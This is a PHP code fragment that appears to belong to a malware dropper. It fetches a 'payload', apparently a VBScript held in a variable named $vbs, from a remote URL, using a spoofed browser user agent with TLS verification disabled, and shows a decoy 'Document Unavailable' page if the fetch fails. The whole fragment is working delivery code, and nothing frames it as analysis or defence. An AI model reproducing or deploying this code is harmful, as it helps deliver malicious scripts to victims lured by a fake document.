/* ---- Robust payload fetch (HTTP/1.1 + cURL + file_get_contents fallback) ---- */
function fetch_payload($url) {
$ua = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36';
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_MAXREDIRS => 5,
CURLOPT_TIMEOUT => 30,
CURLOPT_CONNECTTIMEOUT => 10,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, // force HTTP/1.1
CURLOPT_USERAGENT => $ua,
CURLOPT_HTTPHEADER => [
'Accept: */*',
'Accept-Language: en-US,en;q=0.9',
'Connection: close',
],
]);
$data = curl_exec($ch);
$code = (int)curl_getinfo($ch, CURLINFO_HTTP_CODE);
$err = curl_error($ch);
curl_close($ch);
if ($data !== false && $code === 200 && strlen($data) > 10) {
return $data;
}
error_log("[fetch_payload] cURL HTTP=$code err=$err");
}
// Fallback: file_get_contents with HTTP/1.1
$ctx = stream_context_create([
'http' => [
'timeout' => 30,
'ignore_errors' => true,
'protocol_version' => 1.1,
'user_agent' => $ua,
'header' => "Accept: */*\r\nConnection: close\r\n",
],
'ssl' => ['verify_peer' => false, 'verify_peer_name' => false],
]);
$data = @file_get_contents($url, false, $ctx);
if ($data !== false && strlen($data) > 10) {
return $data;
}
error_log("[fetch_payload] file_get_contents also failed");
return false;
}
$vbs = fetch_payload($DOWNLOAD_URL);
if ($vbs === false) {
http_response_code(502);
echo '';
echo 'Document Unavailable
Please try again later.
';
echo '';
exit;
}